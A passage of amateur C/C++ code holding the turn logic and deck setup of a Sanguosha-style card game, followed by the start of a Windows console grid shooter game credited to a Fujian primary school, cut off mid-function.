    }
    } printf("弃牌堆:%d\n",*qipaishu);
    }
    }
    }
    int Huihe(pai A[104],pai B[104],int *x,int *y,pai yuanshipaidui[2][4][13],wujiang *w1,wujiang *w2)
    {
    printf("\n回合开始阶段……\n");
    switch((*w1).huihekaishi)
    {
    case 0:break;
    default:printf("回合开始阶段参数错误!\n");break;
    }
    printf("判定阶段……\n");
    int K=0;
    if((*w1).pandingshu>0)
    {
    int i,j;
    for(;(*w1).pandingshu;)
    {
    switch((*w1).pandingpai[0].leixing)
    {
    case 251:printf("【乐不思蜀】开始判定……\n"); break;
    case 252:printf("【闪电】开始判定……\n");break;
    default:printf("【??】开始判定……\n");break;
    }
    j=0;
    pai p=((*w1).pandingpai[0]);
    for(;;)//在判定之前询问【无懈】
    {
    i=Wuxie(&p,w2,w1,B,y,0);
    if(!i)break;
    j++;
    i=Wuxie(&p,w1,w2,B,y,0);
    if(!i)break;
    j++;
    }
    switch((*w1).pandingpai[0].leixing)
    {
    case 251:
    if(!(j%2))
    {
    printf("【乐不思蜀】的判定牌是:");
    Panding(A,x,B,y);
    if((B[(*y)-1].huase)!=1)
    {
    printf("【乐不思蜀】判定成功!\n");
    if((*w1).juese)printf("玩家");
    else printf("电脑");
    printf("跳过出牌阶段!\n");
    K=-1;
    }
    else printf("【乐不思蜀】判定失败!\n");
    }
    B[*y]=(*w1).pandingpai[0];
    ((*w1).pandingshu)--;
    (*w1).pandingpai[0]=(*w1).pandingpai[1];
    (*w1).pandingpai[1]=(*w1).pandingpai[2];
    (*w1).pandingpai[2].leixing=-1;
    (*y)++;
    break;
    case 252:
    if(!(j%2))
    {
    printf("【闪电】的判定牌是:");
    Panding(A,x,B,y);
    if((B[(*y)-1].huase==0)&&(B[(*y)-1].dianshu>=1)&&(B[(*y)-1].dianshu<=8))
    {
    printf("【闪电】判定成功!\n");
    if((*w1).juese)printf("玩家");
    else printf("电脑");
    printf("受到3点雷电伤害!");
    ((*w1).tili)=((*w1).tili)-3;
    i=Binsi(w2,w1,B,y);
    B[*y]=(*w1).pandingpai[0];
    ((*w1).pandingshu)--;
    (*w1).pandingpai[0]=(*w1).pandingpai[1];
    (*w1).pandingpai[1]=(*w1).pandingpai[2];
    (*w1).pandingpai[2].leixing=-1;
    (*y)++;
    if(i==-1)return -1;
    }
    else
    {
    printf("【闪电】判定失败!\n");
    (*w2).pandingpai[2]=(*w2).pandingpai[1];
    (*w2).pandingpai[1]=(*w2).pandingpai[0];
    (*w2).pandingpai[0]=(*w1).pandingpai[0];
    (*w1).pandingpai[0]=(*w1).pandingpai[1];
    (*w1).pandingpai[1]=(*w1).pandingpai[2];
    (*w1).pandingpai[2].leixing=-1;
    ((*w1).pandingshu)--;
    ((*w2).pandingshu)++;
    }
    break;
    }
    default:printf("判定牌错误!");
    } printf("弃牌数:%d\n",*y);
    }
    }
    else if(!((*w1).pandingshu));
    else printf("判定阶段参数错误!\n");
    printf("摸牌阶段……\n");
    switch((*w1).mopai)
    {
    case 0:Mopai(&((*w1).shoupaishu),(*w1).shoupai,A,x,B,y,(*w1).juese);break;
    case -1:break;
    default:printf("摸牌阶段参数错误!\n");break;
    }
    if(K==-1)goto M;
    printf("出牌阶段……\n");
    switch((*w1).chupai)
    {
    case 0:
    {
    int i;
    i=Chupai(A,B,x,y,w1,w2,yuanshipaidui);
    if(i==-1)
    {
    return -1;
    break;
    }
    else break;
    }
    case -1:break;
    default:printf("出牌阶段参数错误!\n");break;
    }
    M:
    printf("弃牌阶段……\n");
    switch((*w1).qipai)
    {
    case 0:
    Qipai((*w1).shoupai,&((*w1).shoupaishu),B,y,(*w1).juese,&((*w1).tili));break;
    default:printf("弃牌阶段参数错误!\n");break;
    }
    printf("回合结束阶段……\n");
    switch((*w1).huihejieshu)
    {
    case 0:break;
    default:printf("回合结束阶段参数错误!\n");break;
    }
    return 0;
    }
    int main()
    {
    void Kanshoupai(pai p);
    pai yuanshipaidui[2][4][13],qipaidui[104],paidui[104];
    wujiang wanjia,com;
    com.tili=wanjia.tili=5;
    com.tilishangxian=wanjia.tilishangxian=5;
    com.huihekaishi=wanjia.huihekaishi=0;
    com.panding=wanjia.panding=0;
    com.mopai=wanjia.mopai=0;
    com.chupai=wanjia.chupai=0;
    com.qipai=wanjia.qipai=0;
    com.huihejieshu=wanjia.huihejieshu=0;
    com.shoupaishu=wanjia.shoupaishu=0;
    com.pandingshu=wanjia.pandingshu=0;
    com.zhuangbeishu=wanjia.zhuangbeishu=0;
    com.juese=0;wanjia.juese=1;
    pai p;
    p.leixing=-1;
    com.zhuangbei[0]=com.zhuangbei[1]=com.zhuangbei[2]=com.zhuangbei[3]=wanjia.zhuangbei[0]=wanjia.zhuangbei[1]=wanjia.zhuangbei[2]=wanjia.zhuangbei[3]=p;
    com.zhuangbei[0].changdu=wanjia.zhuangbei[0].changdu=1;
    com.pandingpai[0]=com.pandingpai[1]=com.pandingpai[2]=wanjia.pandingpai[0]=wanjia.pandingpai[1]=wanjia.pandingpai[2]=p;
    com.juli[0]=wanjia.juli[0]=1;
    int a,b,c;
    for(a=0;a<=1;a++)
    {
    for(b=0;b<=3;b++)
    {
    for(c=0;c<=12;c++)
    {
    yuanshipaidui[a][b][c].paifu=a;
    yuanshipaidui[a][b][c].huase=b;
    yuanshipaidui[a][b][c].dianshu=c;
    }
    }
    }
    yuanshipaidui[0][0][0].leixing=204;
    yuanshipaidui[0][0][1].leixing=331;
    yuanshipaidui[0][0][2].leixing=201;
    yuanshipaidui[0][0][3].leixing=201;
    yuanshipaidui[0][0][4].leixing=304;yuanshipaidui[0][0][4].changdu=3;
    yuanshipaidui[0][0][5].leixing=251;
    yuanshipaidui[0][0][6].leixing=101;
    yuanshipaidui[0][0][7].leixing=101;
    yuanshipaidui[0][0][8].leixing=101;
    yuanshipaidui[0][0][9].leixing=101;
    yuanshipaidui[0][0][10].leixing=202;
    yuanshipaidui[0][0][11].leixing=201;
    yuanshipaidui[0][0][12].leixing=208;
    yuanshipaidui[0][1][0].leixing=209;
    yuanshipaidui[0][1][1].leixing=102;
    yuanshipaidui[0][1][2].leixing=103;
    yuanshipaidui[0][1][3].leixing=103;
    yuanshipaidui[0][1][4].leixing=308;yuanshipaidui[0][1][4].changdu=5;
    yuanshipaidui[0][1][5].leixing=103;
    yuanshipaidui[0][1][6].leixing=103;
    yuanshipaidui[0][1][7].leixing=103;
    yuanshipaidui[0][1][8].leixing=103;
    yuanshipaidui[0][1][9].leixing=101;
    yuanshipaidui[0][1][10].leixing=101;
    yuanshipaidui[0][1][11].leixing=103;
    yuanshipaidui[0][1][12].leixing=102;
    yuanshipaidui[0][2][0].leixing=204;
    yuanshipaidui[0][2][1].leixing=101;
    yuanshipaidui[0][2][2].leixing=101;
    yuanshipaidui[0][2][3].leixing=101;
    yuanshipaidui[0][2][4].leixing=101;
    yuanshipaidui[0][2][5].leixing=101;
    yuanshipaidui[0][2][6].leixing=101;
    yuanshipaidui[0][2][7].leixing=101;
    yuanshipaidui[0][2][8].leixing=101;
    yuanshipaidui[0][2][9].leixing=101;
    yuanshipaidui[0][2][10].leixing=101;
    yuanshipaidui[0][2][11].leixing=205;
    yuanshipaidui[0][2][12].leixing=205;
    yuanshipaidui[0][3][0].leixing=204;
    yuanshipaidui[0][3][1].leixing=102;
    yuanshipaidui[0][3][2].leixing=102;
    yuanshipaidui[0][3][3].leixing=102;
    yuanshipaidui[0][3][4].leixing=102;
    yuanshipaidui[0][3][5].leixing=101;
    yuanshipaidui[0][3][6].leixing=101;
    yuanshipaidui[0][3][7].leixing=101;
    yuanshipaidui[0][3][8].leixing=101;
    yuanshipaidui[0][3][9].leixing=101;
    yuanshipaidui[0][3][10].leixing=102;
    yuanshipaidui[0][3][11].leixing=103;
    yuanshipaidui[0][3][12].leixing=101;
    yuanshipaidui[1][0][0].leixing=252;
    yuanshipaidui[1][0][1].leixing=302;yuanshipaidui[1][0][1].changdu=2;
    yuanshipaidui[1][0][2].leixing=202;
    yuanshipaidui[1][0][3].leixing=202;
    yuanshipaidui[1][0][4].leixing=383;
    yuanshipaidui[1][0][5].leixing=303;yuanshipaidui[1][0][5].changdu=2;
    yuanshipaidui[1][0][6].leixing=208;
    yuanshipaidui[1][0][7].leixing=101;
    yuanshipaidui[1][0][8].leixing=101;
    yuanshipaidui[1][0][9].leixing=101;
    yuanshipaidui[1][0][10].leixing=210;
    yuanshipaidui[1][0][11].leixing=305;yuanshipaidui[1][0][11].changdu=3;
    yuanshipaidui[1][0][12].leixing=362;
    yuanshipaidui[1][1][0].leixing=206;
    yuanshipaidui[1][1][1].leixing=102;
    yuanshipaidui[1][1][2].leixing=207;
    yuanshipaidui[1][1][3].leixing=207;
    yuanshipaidui[1][1][4].leixing=361;
    yuanshipaidui[1][1][5].leixing=251;
    yuanshipaidui[1][1][6].leixing=203;
    yuanshipaidui[1][1][7].leixing=203;
    yuanshipaidui[1][1][8].leixing=203;
    yuanshipaidui[1][1][9].leixing=101;
    yuanshipaidui[1][1][10].leixing=203;
    yuanshipaidui[1][1][11].leixing=201;
    yuanshipaidui[1][1][12].leixing=381;
    yuanshipaidui[1][2][0].leixing=301;yuanshipaidui[1][2][0].changdu=1;
    yuanshipaidui[1][2][1].leixing=331;
    yuanshipaidui[1][2][2].leixing=201;
    yuanshipaidui[1][2][3].leixing=201;
    yuanshipaidui[1][2][4].leixing=382;
    yuanshipaidui[1][2][5].leixing=251;
    yuanshipaidui[1][2][6].leixing=208;
    yuanshipaidui[1][2][7].leixing=101;
    yuanshipaidui[1][2][8].leixing=101;
    yuanshipaidui[1][2][9].leixing=101;
    yuanshipaidui[1][2][10].leixing=101;
    yuanshipaidui[1][2][11].leixing=210;
    yuanshipaidui[1][2][12].leixing=210;
    yuanshipaidui[1][3][0].leixing=301;yuanshipaidui[1][3][0].changdu=1;
    yuanshipaidui[1][3][1].leixing=102;
    yuanshipaidui[1][3][2].leixing=202;
    yuanshipaidui[1][3][3].leixing=202;
    yuanshipaidui[1][3][4].leixing=306;yuanshipaidui[1][3][4].changdu=3;
    yuanshipaidui[1][3][5].leixing=102;
    yuanshipaidui[1][3][6].leixing=102;
    yuanshipaidui[1][3][7].leixing=102;
    yuanshipaidui[1][3][8].leixing=102;
    yuanshipaidui[1][3][9].leixing=102;
    yuanshipaidui[1][3][10].leixing=102;
    yuanshipaidui[1][3][11].leixing=307;yuanshipaidui[1][3][11].changdu=4;
    yuanshipaidui[1][3][12].leixing=363;
    int paiduishu=104;
    int qipaishu=0;
    printf("游戏开始!\n");
    Qishixipai(yuanshipaidui,paidui);
    Qishishoupai(&wanjia,paidui,&(paiduishu),qipaidui,&(qipaishu));
    Qishishoupai(&com,paidui,&(paiduishu),qipaidui,&(qipaishu));
    int i;
    for(;;)
    {
    i=Huihe(paidui,qipaidui,&paiduishu,&qipaishu,yuanshipaidui,&wanjia,&com);
    if(i==-1)break;
    i=Huihe(paidui,qipaidui,&paiduishu,&qipaishu,yu anshipaidui,&com,&wanjia);
    if(i==-1)break;
    }}
    

    枪战(人机)

    #include<iostream>
     #include<cstdio>
     #include<cstdlib>
     #include<cstring>
     #include<windows.h>
     #include<conio.h>
     #include<time.h>
     #define UP 72
     #define DOWN 80
     #define LEFT 75
     #define RIGHT 77
     using namespace std;
     string a[21][20]= {"■","■","■","■","■","■","■","■","■","■","■","■","■","■","■","■","■","■","■","■",
                    "■","■","■","■","■","■","■","■","■","■","■","■","■","■","■","■","■","■","■","■",
                    "■","■","□","□","□","□","□","□","□","□","□","□","□","□","□","▓","▓","▲","■","■",
                    "■","□","□","□","■","■","□","■","□","■","■","■","■","■","■","▓","▓","▓","■","■",
                    "■","□","□","□","□","□","∷","□","□","■","∷","∷","∷","□","□","□","▓","▓","■","■",
                    "■","□","■","□","□","□","□","■","□","■","∷","∷","■","□","□","□","■","□","■","■",
                    "■","□","■","□","□","□","□","■","□","■","∷","■","□","□","□","□","■","□","■","■",
                    "■","□","□","∷","□","□","□","□","□","■","□","□","□","□","■","∷","■","□","■","■",
                    "■","□","■","□","■","■","□","□","■","■","□","□","□","■","∷","∷","■","□","■","■",
                    "■","□","□","□","□","□","□","■","□","□","□","□","□","∷","∷","∷","■","□","■","■",
                    "■","□","■","■","■","■","■","■","□","■","□","■","■","■","■","■","■","□","■","■",
                    "■","□","■","∷","∷","∷","□","□","□","□","□","■","□","□","□","□","□","□","■","■",
                    "■","□","■","∷","∷","■","□","□","□","■","■","□","□","■","■","□","■","□","■","■",
                    "■","□","■","∷","■","□","□","□","□","■","□","□","□","□","□","∷","□","□","■","■",
                    "■","□","■","□","□","□","□","■","∷","■","□","■","□","□","□","□","■","□","■","■",
                    "■","□","■","□","□","□","■","∷","∷","■","□","■","□","□","□","□","■","□","■","■",
                    "■","▓","▓","□","□","□","∷","∷","∷","■","□","□","∷","□","□","□","□","□","■","■",
                    "■","▓","▓","▓","■","■","■","■","■","■","□","■","□","■","■","□","□","□","■","■",
                    "■","●","▓","▓","□","□","□","□","□","□","□","□","□","□","□","□","□","■","■","■",
                    "■","■","■","■","■","■","■","■","■","■","■","■","■","■","■","■","■","■","■","■",
                    "■","■","■","■","■","■","■","■","■","■","■","■","■","■","■","■","■","■","■","■",
                   };        //地图
     string jz[8];               //用来加载的变量
     int xxxx,i,j,lev1=0,lev2=0; //一堆没用的变量=.=
     int n1=1000,m1=10,l1=1;     //玩家1相关信息
     int n2=1000,m2=10,l2=1;     //玩家2相关信息
     int t,t1,t2,t3,t4;          //计算时间的变量
     double t5,t6;               //计算时间的变量
     int x=18,y=1;               //玩家1坐标
     int p=2,q=17;               //玩家2坐标
     int p2=2,q2=7;              //玩家2辅助坐标
     char ch,ch1,ch2;            //输入字符,玩家1保留字符,玩家2保留字符
     int gbdw1();                //光标定位1函数
     int gbdw2();                //光标定位2函数
     int gbdw3();                //光标定位3函数
     int gbdw4();                //光标定位4函数
     int hpzy();                 //获取资源函数
     int jzz();                  //加载中函数
     int p1kz();                 //玩家1控制函数
     int p2kz();                 //玩家2控制函数
     int zcd();                  //主菜单函数
     void draw();                //画图函数
     void hidden();              //隐藏光标函数
     void zanting();             //暂停函数
     void renji();               //人机模式
     void renji_suiji();         //人机模式(防bug)
     void renji_gress();         //吃草
     void zanting() {
     system("cls");
     cout<<"■■■■■■■■■■■■■■■■■■■"<<endl;
     cout<<"■■■■■■■■■■■■■■■■■■■"<<endl;
     cout<<"■■■■■■■■■■■■■■■■■■■"<<endl;
     cout<<"■■■■■■■■■■■■■■■■■■■"<<endl;
     cout<<"■■■■■■■■■■■■■■■■■■■"<<endl;
     cout<<"■■■■■■■■■■■■■■■■■■■"<<endl;
     cout<<"■■■■■■■■■■■■■■■■■■■"<<endl;
     cout<<"■■■■■■■■■■■■■■■■■■■"<<endl;
     cout<<"■■■■■■■■■■■■■■■■■■■"<<endl;
     cout<<"■■■■■■■■■■■■■■■■■■■"<<endl;
     cout<<"■■■■■■■■■■■■■■■■■■■"<<endl;
     cout<<"■■■■■■■■■■■■■■■■■■■"<<endl;
     cout<<"■■■■■■■■■■■■■■■■■■■"<<endl;
     cout<<"■■■■■■■■■■■■■■■■■■■"<<endl;
     cout<<"■■■■■■■■■■■■■■■■■■■"<<endl;
     cout<<"■■■■■■■■■■■■■■■■■■■"<<endl;
     cout<<"■■■■■■■■■■■■■■■■■■■"<<endl;
     cout<<"■■■■■■■■■■■■■■■■■■■"<<endl;
     cout<<"■■■■■■■■■■■■■■■■■■■"<<endl;
     cout<<"■■■■■■■■■■■■■■■■■■■"<<endl;
     cout<<"■■■■■■■■■■■■■■■■■■■"<<endl;
     cout<<"■■■■■■■■■■■■■■■■■■■"<<endl;
     return;
     }
     int gbdw1() {
     COORD pos = {0, 22};
     SetConsoleCursorPosition(GetStdHandle(STD_OUTPUT_HANDLE), pos);
     }
     int gbdw2() {
     COORD pos = {40, 22};
     SetConsoleCursorPosition(GetStdHandle(STD_OUTPUT_HANDLE), pos);
     }
     int gbdw3() {
     COORD pos = {0, 23};
     SetConsoleCursorPosition(GetStdHandle(STD_OUTPUT_HANDLE), pos);
     }
     int gbdw4() {
     COORD pos = {40, 23};
     SetConsoleCursorPosition(GetStdHandle(STD_OUTPUT_HANDLE), pos);
     }
     void draw() {
     if(n1>=1000) n1=1000;
     if(n2>=1000) n2=1000;
     if(n1<=0)    n1=0;
     if(n2<=0)    n2=0;
     if(m1>=500)  m1=500;
     if(m2>=500)  m2=500;
     if(m1<=0)    m1=0;
     if(m2<=0)    m2=0;
     if(l1>=20)   l1=20;
     if(l1>=20)   l1=20;
     COORD pos = {0, 0};
     SetConsoleCursorPosition(GetStdHandle(STD_OUTPUT_HANDLE), pos);
     SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),FOREGROUND_BLUE|FOREGROUND_RED|FOREGROUND_GREEN);
     cout<<"Already start "<<((int)time(NULL)-t)/60<<" minute for "<<((int)time(NULL)-t)%60<<" seconds"<<endl;
     for(i=1; i<=19; i++) {
         for(j=0; j<=18; j++) {
             if(a[i][j]=="■") {
                 SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),FOREGROUND_RED);
                 cout<<a[i][j];
             }
             if(a[i][j]=="∷") {
                 SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),FOREGROUND_INTENSITY|FOREGROUND_RED|FOREGROUND_BLUE);
                 cout<<a[i][j];
             }
             if(a[i][j]=="▓") {
                 SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),FOREGROUND_INTENSITY|FOREGROUND_GREEN);
                 cout<<a[i][j];
             }
             if(a[i][j]=="□") {
                 SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),FOREGROUND_INTENSITY|FOREGROUND_BLUE|FOREGROUND_GREEN);
                 cout<<a[i][j];
             }
             if(a[i][j]=="●"||a[i][j]=="▲") {
                 SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),FOREGROUND_INTENSITY|FOREGROUND_RED|FOREGROUND_GREEN);
                 cout<<a[i][j];
             }
         }
         cout<<endl;
     }
     SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),FOREGROUND_BLUE|FOREGROUND_RED|FOREGROUND_GREEN);
     printf("●player 1:                            ▲player 2:\n");
     printf("Lv:%2d  HP:%4d  mana:%3d             Lv:%2d  HP:%4d  mana:%3d\n",l1,n1,m1,l2,n2,m2);
     gbdw1();
     SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),FOREGROUND_INTENSITY|FOREGROUND_GREEN);
     printf("HP:  ");
     for(j=1; j<=n1/10/8; j++)
         printf("█");
     xxxx=n1/10%8;
     cout<<jz[xxxx];
     printf("%d",n1);
     printf("          ");
     gbdw2();
     printf("HP:  ");
     for(j=1; j<=n2/10/8; j++)
         printf("█");
     xxxx=n2/10%8;
     cout<<jz[xxxx];
     printf("%d",n2);
     printf("          \n");
     gbdw3();
     SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),FOREGROUND_INTENSITY|FOREGROUND_BLUE|FOREGROUND_GREEN);
     printf("moon:");
     for(j=1; j<=m1/5/8; j++)
         printf("█");
     xxxx=m1/5%8;
     cout<<jz[xxxx];
     printf("%d",m1);
     printf("          ");
     gbdw4();
     printf("moon:");
     for(j=1; j<=m2/5/8; j++)
         printf("█");
     xxxx=m2/5%8;
     cout<<jz[xxxx];
     printf("%d",m2);
     printf("          \n");
     SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),FOREGROUND_BLUE|FOREGROUND_RED|FOREGROUND_GREEN);
     return;
     }
     int zcd() {
     while(1) {
         system("cls");
         SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),FOREGROUND_INTENSITY|FOREGROUND_BLUE|FOREGROUND_RED|FOREGROUND_GREEN);
         system("cls");
         printf("Welcome to square in the world!\n");
         printf("-------------------------------\n");
         SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),FOREGROUND_INTENSITY|FOREGROUND_RED);
         printf("S.[Start the game]\n");
         SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),FOREGROUND_INTENSITY|FOREGROUND_RED | FOREGROUND_GREEN);
         printf("T.[The program diagram]\n");
         SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),FOREGROUND_INTENSITY|FOREGROUND_BLUE);
         printf("H.[Help]\n");
         SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),FOREGROUND_INTENSITY|FOREGROUND_GREEN);
         printf("Q.[Quit the game]\n");
         SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),FOREGROUND_INTENSITY|FOREGROUND_BLUE|FOREGROUND_RED|FOREGROUND_GREEN);
         printf("-------------------------------\n");
         ch=getch();
         if(ch=='s'||ch=='S') {
             system("cls");
             for(i=1; i<=136; i++) {
                 xxxx=i%8;
                 COORD pos = {0, 0};
                 SetConsoleCursorPosition(GetStdHandle(STD_OUTPUT_HANDLE), pos);
                 SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),FOREGROUND_INTENSITY|FOREGROUND_BLUE|FOREGROUND_RED|FOREGROUND_GREEN);
                 printf("Being parsed~    Loading...\n");
                 printf("----------------------------------\n");
                 SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),FOREGROUND_INTENSITY|FOREGROUND_GREEN);
                 for(j=1; j<=i/8; j++)
                     printf("█");
                 cout<<jz[xxxx]<<endl;
                 SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),FOREGROUND_INTENSITY|FOREGROUND_BLUE|FOREGROUND_RED|FOREGROUND_GREEN);
                 printf("----------------------------------\n");
             }
             printf("Initialize the...");
             Sleep(1000);
             break;
         }
         if(ch=='t'||ch=='T') {
             COORD pos = {0, 0};
             SetConsoleCursorPosition(GetStdHandle(STD_OUTPUT_HANDLE), pos);
             printf("┏━━━━━━━━━━━━━━━━┓\n");
             printf("┃[square big showdown 4.11]      ┃\n");
             printf("┃[Human-machine version]         ┃\n");
             printf("┃┃                              ┃\n");
             printf("┃┣[Start the game]              ┃\n");
             printf("┃┃                              ┃\n");
             printf("┃┣[The program tree diagram]    ┃\n");
             printf("┃┃┃                            ┃\n");
             printf("┃┃┗[The current]               ┃\n");
             printf("┃┃                              ┃\n");
             printf("┃┣[Help]                        ┃\n");
             printf("┃┃┃                            ┃\n");
             printf("┃┃┣[Look at the map]           ┃\n");
             printf("┃┃┃                            ┃\n");
             printf("┃┃┣[Operation to help]         ┃\n");
             printf("┃┃┃                            ┃\n");
             printf("┃┃┗[The developer]             ┃\n");
             printf("┃┃                              ┃\n");
             printf("┃┗[Quit the game]               ┃\n");
             printf("┗━━━━━━━━━━━━━━━━┛\n");
             ch=getch();
         }
         if(ch=='h'||ch=='H') {
             system("cls");
             SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),FOREGROUND_INTENSITY|FOREGROUND_BLUE|FOREGROUND_RED|FOREGROUND_GREEN);
             printf("Do you need any help?\n");
             printf("---------------------\n");
             SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),FOREGROUND_INTENSITY|FOREGROUND_RED);
             printf("1.[Look at the map]\n");
             SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),FOREGROUND_INTENSITY|FOREGROUND_RED | FOREGROUND_GREEN);
             printf("2.[Operation to help]\n");
             SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),FOREGROUND_INTENSITY|FOREGROUND_BLUE);
             printf("3.[The developer]\n");
             SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),FOREGROUND_INTENSITY|FOREGROUND_BLUE|FOREGROUND_RED|FOREGROUND_GREEN);
             printf("---------------------\n");
             ch=getch();
             if(ch=='1') {
                 draw();
                 printf("●player 1;\n");
                 printf("▲Player 2;\n");
                 printf("■Is a wall, do not walk;\n");
                 printf("□Is a way, you can walk;\n");
                 printf("∷The grass;\n");
                 printf("▓Is the birth place of both parties.\n");
                 printf("Two lines are at the bottom of the both sides of the case;\n");
                 printf("            Press any key to return;\n");
                 ch=getch();
                 continue;
             }
             if(ch=='2') {
                 system("cls");
                 printf("player 1:\n");
                 printf("   w.up      s.down     a.left    d.right\n");
                 printf("   v.attack  b.Respond to health  n.vampire\n");
                 printf("   f.flash   g.To attract\n");
                 printf("-----------------------------------------------\n");
                 printf("player 2:\n");
                 printf("  ↑.up     ↓.down    ←.left   →.right\n");
                 printf("   1.attack  2.Respond to health  3.crit\n");
                 printf("   4.flash   5.Back to home\n");
                 printf("-----------------------------------------------\n");
                 printf("Click on the x for details!\n");
                 ch=getch();
                 if(ch=='x'||ch=='X') {
                     system("cls");
                     printf("player 1:---------------------------------\n");
                     printf("---control---          P1HP moon P2HP moon\n");
                     printf("   w.up                ----   +1 ---- ----\n");
                     printf("   s.down              ----   +1 ---- ----\n");
                     printf("   a.left              ----   +1 ---- ----\n");
                     printf("   d.right             ----   +1 ---- ----\n");
                     printf("   \n");
                     printf("   v.attack            ----   +2  -20 ----\n");
                     printf("   b.Respond to health +200  -50 ---- ----\n");
                     printf("   n.vampire           +150 -100 -150  -20\n");
                     printf("   f.flash             ----  -20 ---- ----\n");
                     printf("   g.To attract        ----  -70 -100 ----\n");
                     printf("player 2:---------------------------------\n");
                     printf("---control---          P1HP moon P2HP moon\n");
                     printf("  ↑.up                ---- ---- ----   +1\n");
                     printf("  ↓.down              ---- ---- ----   +1\n");
                     printf("  ←.left              ---- ---- ----   +1\n");
                     printf("  →.right             ---- ---- ----   +1\n");
                     printf("   \n");
                     printf("   1.attack             -20 ---- ----   +2\n");
                     printf("   2.Respond to health ---- ---- +200  -50\n");
                     printf("   3.crit              -200 ---- ---- -100\n");
                     printf("   4.flash             ---- ---- ----  -20\n");
                     printf("   5.Back to home      ---- ---- ----  -70\n");
                     printf("------------------------------------------");
                     ch=getch();
                 }
                 continue;
             }
             if(ch=='3') {
                 system("cls");
                 printf("The development team:\n");
                 printf("  Alliance primary school\n");
                 printf("Development date:\n");
                 printf("  16/11/17 18:35\n");
                 printf("Belonging to:\n");
                 printf("  China's fujian province\n");
                 ch=getch();
                 continue;
             }
         }
         if(ch=='q'||ch=='Q') {
             if(1) {
                 system("cls");
                 printf("Really want to quit?\n");
                 printf("--------------------\n");
                 printf("Y.[Yes]    N.[No]\n");
                 printf("--------------------\n");
                 while(ch!='y'&&ch!='Y'&&ch!='N'&&ch!='n')
                     ch=getch();
             }
             if(ch=='Y'||ch=='y') {
                 system("cls");
                 for(i=1; i<=136; i++) {
                     xxxx=i%8;
                     COORD pos = {0, 0};
                     SetConsoleCursorPosition(GetStdHandle(STD_OUTPUT_HANDLE), pos);
                     printf("Deleting records~    \n");
                     printf("----------------------------------\n");
                     for(j=1; j<=i/8; j++)
                         printf("█");
                     cout<<jz[xxxx]<<endl;
                     printf("----------------------------------\n");
                 }
                 printf("Delete the success.");
                 Sleep(1000);
                 exit(0);
             }
             if(ch=='N'||ch=='n')
                 continue;
         }
     }
     return 0;
     }
     void hidden() {
     HANDLE hOut = GetStdHandle(STD_OUTPUT_HANDLE);
     CONSOLE_CURSOR_INFO cci;
     GetConsoleCursorInfo(hOut,&cci);
     cci.bVisible=0;
     SetConsoleCursorInfo(hOut,&cci);
     return;
     }
     int hqzy() {
     MessageBox(NULL,"The game need to get access to local resources \n agree?    (I am bored!)","Access to resources",MB_ICONEXCLAMATION|MB_OK);
     return 0;
     }
     int p1kz() {
     if(ch=='w'||ch=='s'||ch=='a'||ch=='d'
             ||ch=='W'||ch=='S'||ch=='A'||ch=='D')
         ch1=ch;
     if(ch=='a'||ch=='A') {
         if(x==2&&y==15||x==2&&y==16||x==2&&y==17
                 ||x==3&&y==15||x==3&&y==16||x==3&&y==17
                 ||x==4&&y==16||x==4&&y==17
                 ||x==16&&y==1||x==16&&y==2
                 ||x==17&&y==1||x==17&&y==2||x==17&&y==3
                 ||x==18&&y==1||x==18&&y==2||x==18&&y==3) {
             if(a[x][y-1]!="■"&&a[x][y-1]!="▲") {
                 a[x][y]="▓";
                 y--;
                 a[x][y]="●";
                 m1++;
                 draw();
             }
         } else {
             if(a[x][y-1]!="■"&&a[x][y-1]!="▲") {
                 a[x][y]="□";
                 if(a[x][y-1]=="∷") {
                     srand((unsigned)time(NULL));
                     switch(rand()%2) {
                         case 0: {
                             n1+=50;
                         }
                         case 1: {
                             m1+=20;
                         }
                     }
                 }
                 y--;
                 a[x][y]="●";
                 m1++;
                 draw();
             }
         }
     }
     if(ch=='d'||ch=='D') {
         if(x==2&&y==15||x==2&&y==16||x==2&&y==17
                 ||x==3&&y==15||x==3&&y==16||x==3&&y==17
                 ||x==4&&y==16||x==4&&y==17
                 ||x==16&&y==1||x==16&&y==2
                 ||x==17&&y==1||x==17&&y==2||x==17&&y==3
                 ||x==18&&y==1||x==18&&y==2||x==18&&y==3) {
             if(a[x][y+1]!="■"&&a[x][y+1]!="▲") {
                 a[x][y]="▓";
                 y++;
                 a[x][y]="●";
                 m1++;
                 draw();
             }
         } else {
             if(a[x][y+1]!="■"&&a[x][y+1]!="▲") {
                 a[x][y]="□";
                 if(a[x][y+1]=="∷") {
                     srand((unsigned)time(NULL));
                     switch(rand()%2) {
                         case 0: {
                             n1+=50;
                         }
                         case 1: {
                             m1+=20;
                         }
                     }
                 }
                 y++;
                 a[x][y]="●";
                 m1++;
                 draw();
             }
         }
     }
     if(ch=='w'||ch=='W') {
         if(x==2&&y==15||x==2&&y==16||x==2&&y==17
                 ||x==3&&y==15||x==3&&y==16||x==3&&y==17
                 ||x==4&&y==16||x==4&&y==17
                 ||x==16&&y==1||x==16&&y==2
